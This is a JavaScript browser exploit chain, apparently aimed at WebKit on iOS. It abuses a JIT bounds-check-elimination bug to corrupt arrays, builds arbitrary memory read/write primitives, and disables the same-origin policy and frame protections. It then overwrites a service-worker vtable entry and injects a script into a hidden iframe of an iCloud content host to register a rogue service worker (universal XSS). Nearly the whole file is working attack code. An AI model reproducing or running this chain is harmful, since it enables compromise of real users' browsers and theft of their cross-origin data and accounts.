let print = (x) => {
    document.getElementById('out').innerText+=x+'\n';
    console.log(x);
  }

const TARGET_SITE = "cvws.icloud-content.com"
const FULL_TARGET_SITE = "https://"+TARGET_SITE
const ITERATIONS = 10000000;
const IN_BROWSER = typeof(console) !== 'undefined';
const IN_SHELL = !IN_BROWSER;
const IS_IOS = IN_BROWSER ? navigator.userAgent.match(/iPhone/) : false;
const NUM_REGS = IS_IOS ? 32 : 16;

function Trigger(arr, n) {
    // Force n to be a 32bit integer.
    n |= 0;

    // Let IntegerRangeOptimization know that 
    // n will be a negative number inside the body.
    if (n < 0) {
        // Force "non-number bytecode usage" so the negation 
        // becomes unchecked and as such INT_MIN will again
        // become INT_MIN in the last iteration.
        let v = (-n)|0;

        // As n is known to be negative here, this ArithAbs 
        // will become a ArithNegate. That negation will be 
        // checked, but then be CSE'd for the previous, 
        // unchecked one. This is the compiler bug.
        let i = Math.abs(n);

        // However, IntegerRangeOptimization has also marked 
        // i as being >= 0...

        if (i < arr.length) {
            // .. so here IntegerRangeOptimization now believes 
            // i will be in the range [0, arr.length) while i 
            // will actually be INT_MIN in the final iteration.

            // This condition is written this way so integer 
            // range optimization isn't able to propagate range 
            // information (in particular that i must be a 
            // negative integer) into the body.
            if (i & 0x80000000) {
                // In the last iteration, this will turn INT_MIN 
                // into an arbitrary, positive number since the
                // ArithAdd has been made unchecked by integer range
                // optimization (as it believes i to be a positive
                // number) and so doesn't bail out when overflowing
                // int32.
                i += -0x7ffffff9;
            }

            // This conditional branch is now necessary due to 
            // the subtraction above. Otherwise, 
            // IntegerRangeOptimization couldn’t prove that i 
            // was always positive.
            if (i > 0) {
                // In here, IntegerRangeOptimization again believes
                // i to be in the range [0, arr.length) and thus
                // eliminates the CheckBounds node, leading to a 
                // controlled OOB access. This write will then corrupt
                // the header of the following JSArray, setting its
                // length and capacity to 0x1337.
                arr[i] = 1.04380972981885e-310;
            }
        }
    }
}

function DoReadWrite() {

    print("[*] Setting up the heap")

    let noCoW = 13.37;
    let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

    print("[*] Triggering JIT optimization")
    print("[*] Attempting to corrupt JSArray")

    for (let i = 0; i < ITERATIONS; i++) {
        let isLastIteration = i == ITERATIONS - 1;
        let n = -(i % 10);
        if (isLastIteration) {
            n = -2147483648;
        }
        Trigger(target,n);
    }

    if(float_arr.length == 0x1337) {
        print("[*] JSArray.length = 0x" + float_arr.length.toString(16));
        print("[*] Successful corrupted JSArray");
    }

    const OVERLAP_IDX = 8;

    function addrof(obj) {
        obj_arr[0] = obj;
        return Int64.from_double(float_arr[OVERLAP_IDX]);
    }

    function fakeobj(addr) {
        float_arr[OVERLAP_IDX] = addr.to_double();
        return obj_arr[0];
    }

    print("[*] Creating fake object");

    let target_float_arr = [Math.random(), 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

    let jscell_header = new Int64([
        0x00, 0x10, 0x00, 0x00,     // m_structureID
        0x7,                        // m_indexingType (ArrayWithDouble)
        0x23,                       // m_type
        0x08,                       // m_flags
        0x1                         // m_cellState
    ]).as_double();

    let container = {
        jscell_header: jscell_header,
        butterfly: target_float_arr,
    };

    let container_addr = addrof(container);
    let fake_array_addr = container_addr.add(0x10);
    print("[*] Fake JSArray @ " + fake_array_addr);
    let fake_arr = fakeobj(fake_array_addr);

    let legit_arr = target_float_arr;
    let results = [];

    for (let i = 0; i < 2; i++) {
        let a = i == 0 ? fake_arr : legit_arr;
        results.push(a[0]);
    }

    jscell_header = results[0];
    container.jscell_header = jscell_header;

    print(`[*] Copied JSCell header: ${Int64.from_double(jscell_header)}`);

    print("[*] Achieved limited read/write primitive");

    let controller = fake_arr;
    let memarr = target_float_arr;

    function read64(addr) {
        let oldval = controller[1];
        let res;
        let i = 0;
        do {
            controller[1] = addr.as_double();
            res = memarr[i];
            addr = addr.sub(8)
            i += 1;
        } while (res === undefined);
        controller[1] = oldval;
        return Int64.from_double(res);
    }

    function write64(addr, val) {
        let oldval = controller[1];
        let res;
        let i = 0;
        do {
            controller[1] = addr.as_double();
            res = memarr[i];
            addr = addr.sub(8)
            i += 1;
        } while (res === undefined);
        memarr[i-1] = val.as_double();
        controller[1] = oldval;
    }

    print("[*] Starting Gigacage bypass");

    var global = Function('return this')();
    let js_global_obj_addr = addrof(global);

    print("[*] JSGlobalObject @ " + js_global_obj_addr);

    let global_obj_addr = read64(js_global_obj_addr.add(24));

    print("[*] GlobalObject @ " + global_obj_addr);

    let vm_addr = read64(global_obj_addr.add(56));

    print("[*] VM @ " + vm_addr);

    let vm_top_call_frame_addr = vm_addr.add(0x9ac0);
    let vm_top_call_frame_addr_dbl = vm_top_call_frame_addr.as_double();

    print("[*] VM.topCallFrame @ " + vm_top_call_frame_addr);

    let stack_ptr = read64(vm_top_call_frame_addr);

    print("[*] Top CallFrame (stack) @ " + stack_ptr);

    let view = new Int32Array(0x1000);
    let view_addr = addrof(view);
    let buf_addr = read64(view_addr.add(16));

    const READ = 0;
    const WRITE = 1;

    let full_rw_template = function full_rw(memviews, operation, address, buffer, length, stack, needle) {
        if(length > memviews[0].length) {
            throw "[!] Memory access too large";
        } else if(memviews.length % 2 !== 1) {
            throw "[!] Need an odd number of TypedArrays";
        }

        let saved_ptr = controller[1];

        function get_stack_pointer() {
            function helper() {
                controller[1] = vm_top_call_frame_addr_dbl;
                return memarr[0];
            }

            let sp =  Math.max({valueOf: helper}, -1, -2, -3);
            return _Int64.fromDouble(sp);
        }

        let sp = get_stack_pointer();

        let tries = 0;
        let stack_base = new _Int64(sp);
        let diff = new _Int64(8);
        do {
            stack_base.assignAdd(stack_base, diff);
            tries++;
            controller[1] = stack_base.asDouble();
        } while (stack.length < 512 && tries < 64)

        let m$r = memviews[$r];

        m$r[0] = 0;

        let success = false;

        for (let i = 0; i < Math.min(stack.length & 0x7fffffff, 512); i++) {

            if(stack[i] * 2 == needle) {
                stack[i] = address;
                success = i;
                break;
            }
        }

        if(operation == READ) {
            for(let i = 0; i < length; i++) {
                buffer[i] = 0;
                buffer[i] ^= m$r[i];
            }
        } else if(operation == WRITE) {
            for(let i = 0; i < length; i++) {
                m$r[i] = buffer[i];
            }
        }

        controller[1] = saved_ptr;

        return {success, sp, stack_base}
    }

    let nregs = NUM_REGS + 1;

    let source = [];
    let template = full_rw_template.toString();
    for(let line of template.split("\n")) {
        if(line.includes('$r')) {
            for(let reg = 0; reg < nregs; reg++) {
                source.push(line.replace(/\$r/g, reg.toString()));
            }
        } else {
            source.push(line);
        }
    }

    source = source.join('\n');

    let full_rw = eval(`(${source})`);

    let needle = buf_addr.as_double() * 2

    print("[*] Constructing full read/write primitive @ " + buf_addr);

    let inout = new Int32Array(0x1000);

    let dummy_stack = [1.1, buf_addr.as_double(), 2.2];

    let views = new Array(nregs).fill(view);

    let last_sp = 0;
    let sp_changes = 0;

    for(let i = 0; i < ITERATIONS; i++) {
        let out = full_rw(views, READ, 13.37, inout, 4, dummy_stack, needle);
        out = full_rw(views, WRITE, 13.37, inout, 4, dummy_stack, needle);

        if(out.sp.asDouble() != last_sp) {
            last_sp = out.sp.asDouble();
            sp_changes += 1;

            if(sp_changes == 5) {
                break;
            }
        }
    }

    let stack = memarr;
    let scratch_addr = buf_addr.add(42*4);

    inout[0] = 0x1337;

    for(let i = 0; i < 10; i++) {
        view[42] = 0;

        let out = full_rw(views, WRITE, scratch_addr.as_double(), inout, 1, stack, needle);

        if(view[42] != 0x1337) {
            print("[!] Failed to obtain full read/write primitive")
            throw("[!] Failed to obtain full read/write primitive")
        }
    }

    print("[*] Gigacage successfully bypassed")
    print("[*] Successfully constructed full read/write primitive")

    let int32view = inout;
    let float64view = new Float64Array(inout.buffer);
    let uint8view = new Uint8Array(inout.buffer);

    function writeInt(addr, val) {
        int32view[0] = val;
        let out = full_rw(views, WRITE, addr.as_double(), inout, 1, stack, needle);
        assert(out.success);
    }

    function writeData(addr, data) {
        if (data.length > 0x4000) {
            throw "[!] Cannot write that much data at once";
        }
        let len = Math.floor((data.length+3)/4);
        uint8view.fill(0, len);
        uint8view.set(data);
        let out = full_rw(views, WRITE, addr.as_double(), inout, len, stack, needle);
        assert(out.success);
    }

    function writePtr(addr, val) {
        write64(addr, val);
    }

    function readPtr(addr) {
        let out = full_rw(views, READ, addr.as_double(), inout, 2, stack, needle);
        assert(out.success);
        return Int64.from_double(float64view[0]);
    }

    print("[*] Starting SOP bypass")

    var JSXMLHttpRequest = new XMLHttpRequest();

    var JSXMLHttpRequest_ptr = addrof(JSXMLHttpRequest);
    print("[*] JSXMLHttpRequest @ " + JSXMLHttpRequest_ptr);

    var XMLHttpRequest_ptr = read64(JSXMLHttpRequest_ptr.add(0x18)).sub(0x20);
    print("[*] XMLHttpRequest @ " + XMLHttpRequest_ptr);

    var ScriptExecutionContext_ptr = read64(XMLHttpRequest_ptr.add(0x8));
    print("[*] ScriptExecutionContext @ " + ScriptExecutionContext_ptr);

    var SecurityOriginPolicy_ptr = read64(ScriptExecutionContext_ptr.add(0x8));
    print("[*] SecurityOriginPolicy @ " + SecurityOriginPolicy_ptr);

    var SecurityOrigin_ptr = read64(SecurityOriginPolicy_ptr.add(0x8));
    print("[*] SecurityOrigin @ " + SecurityOrigin_ptr);

    var SecurityOrigin_flags = read64(SecurityOrigin_ptr.add(0x31));

    var new_flags = SecurityOrigin_flags.add(1);

    var SecurityOrigin_flags = read64(SecurityOrigin_ptr.add(0x31));
    print("[*] SecurityOrigin->m_universalAccess = " + (SecurityOrigin_flags.low&1));

    print("[*] Disabling SOP");

    writeInt(SecurityOrigin_ptr.add(0x31), new_flags);

    var SecurityOrigin_flags = read64(SecurityOrigin_ptr.add(0x31));

    print("[*] SecurityOrigin->m_universalAccess = " + (SecurityOrigin_flags.low&1));

    var sop_check = SecurityOrigin_flags.low&1

    if(sop_check == 1) {
        print("[*] SOP successfully disabled");
    } else {
        print("[!] Failed to disable SOP");
        throw("[!] Failed to disable SOP");
    }

    print("[*] Disabling X-FRAME-OPTIONS");

    print("[*] Constructing fake string")

    var fake_str = [TARGET_SITE]
    var fake_str_addr = addrof(fake_str)
    var fake_str_butterfly = read64(fake_str_addr.add(8))
    var fake_str_ptr = read64(fake_str_butterfly)
    var fake_str_ptr_ptr = read64(fake_str_ptr.add(8))

    var SecurityOrigin_host_ptr = read64(SecurityOrigin_ptr.add(16))

    print("[*] SecurityOrigin->m_data.host @ " + SecurityOrigin_host_ptr);

    print("[*] Writing fake string @ " + SecurityOrigin_host_ptr)

    writePtr(SecurityOrigin_ptr.add(16), fake_str_ptr_ptr)

    print("[*] X-FRAME-OPTIONS successfully disabled");

    print("[*] Disabling service worker validation")

    var worker =  navigator.serviceWorker
    var worker_addr = addrof(worker)

    var worker_addr2 = read64(worker_addr.add(0x18))
    var worker_vtable = read64(worker_addr2)
    var worker_vtable_ptr = read64(worker_vtable)
    var target_vtable_ptr = worker_vtable.add(0xA40)

    print("[*] serviceWorker vtable @ " + worker_vtable)
    print("[*] serviceWorker vtable ptr @ " + worker_vtable_ptr)
    print("[*] serviceWorker->didReceiveResponse @ " + target_vtable_ptr)

    var webcore = worker_vtable_ptr.sub(0x1F9C110)
    var libsystem = webcore.add(0x2B693000)
    var jsc = webcore.sub(0xB1B2000)

    print("[*] WebCore base @ " + webcore)
    print("[*] libsystem base @ " + libsystem)
    print("[*] JSC base @ " + jsc)

    var nop_ret = [0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xC3]

    print("[*] Creating RXW memory regions")

    let jit_func = Trigger;
    let func_addr = addrof(jit_func);
    print("[*] JIT function @ " + func_addr);
    let executable_addr = readPtr(func_addr.add(24));
    print("[*] Executable instance @ " + executable_addr);
    let jit_code_addr = readPtr(executable_addr.add(8));
    print("[*] JITCode instance @ " + jit_code_addr);
    let code_addr = readPtr(jit_code_addr.add(0x148));
    print("[*] JITCode @ " + code_addr);

    writeData(code_addr, nop_ret)
    writePtr(target_vtable_ptr, code_addr)

}
function UXSS() {
    print("[*] Starting UXSS")
    let payload = `if('serviceWorker' in navigator) {
        navigator.serviceWorker.register('https://cvws.icloud-content.com/B/', { scope: '/' })
        .then(registration =>
          console.log('[*] Service Worker Registered')
        );
        navigator.serviceWorker.ready.then(registration =>
            console.log('[*] Service Worker Started')
        );
      }`
    let i = document.createElement('iframe');
    i.src = FULL_TARGET_SITE
    i.width = "0%";
    i.height = "0%";
    i.onload = function() {
      var script = document.createElement('script');
      script.innerText = payload;
      i.contentWindow.document.head.appendChild(script);
    }
    document.body.append(i);
    print("[*] Done")
}

function UninstallServiceWorker() {
    navigator.serviceWorker.getRegistrations().then(function(registrations) {
        for(let registration of registrations) {
            registration.unregister()
        } })
}

function Exploit() {
    DoReadWrite();
    setTimeout(function(){ UXSS() }, 1000);
}

Exploit()